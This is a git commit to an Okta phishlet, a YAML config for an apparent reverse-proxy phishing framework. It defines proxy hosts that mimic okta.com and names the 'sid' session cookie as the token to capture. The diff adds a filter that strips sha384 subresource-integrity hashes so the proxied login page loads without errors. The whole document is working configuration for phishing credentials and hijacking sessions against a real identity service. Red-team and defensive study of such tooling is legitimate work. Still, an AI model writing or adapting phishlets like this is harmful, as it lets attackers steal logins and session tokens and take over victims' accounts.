Update Okta phishlet, bypass integrity check

Okta has subresource integrity checking on JavaScript files it loads. This will look for the sha384 integrity check and remove it cleanly. This allows the browser to render the JavaScript without errors.
x1m0 · Feb 2, 2021 · fee3bda · fee3bda
1 parent f84da4b
commit fee3bda
Showing 1 changed file with 2 additions and 1 deletion.
diff --git a/phishlets/okta.yaml b/phishlets/okta.yaml
@@ -4,7 +4,8 @@ proxy_hosts:
   - {phish_sub: 'login', orig_sub: 'login', domain: 'okta.com', session: false, is_landing: false}
   - {phish_sub: '', orig_sub: '', domain: 'okta.com', session: false, is_landing: false }
   - {phish_sub: 'EXAMPLE', orig_sub: 'EXAMPLE', domain: 'okta.com', session: true, is_landing: true}
-sub_filters: []
+sub_filters:
+  - {triggers_on: 'EXAMPLE.okta.com', orig_sub: '', domain: 'EXAMPLE.okta.com', search: 'sha384-.{64}', replace: '', mimes: ['text/html']}
 auth_tokens:
   - domain: 'EXAMPLE.okta.com'
     keys: ['sid']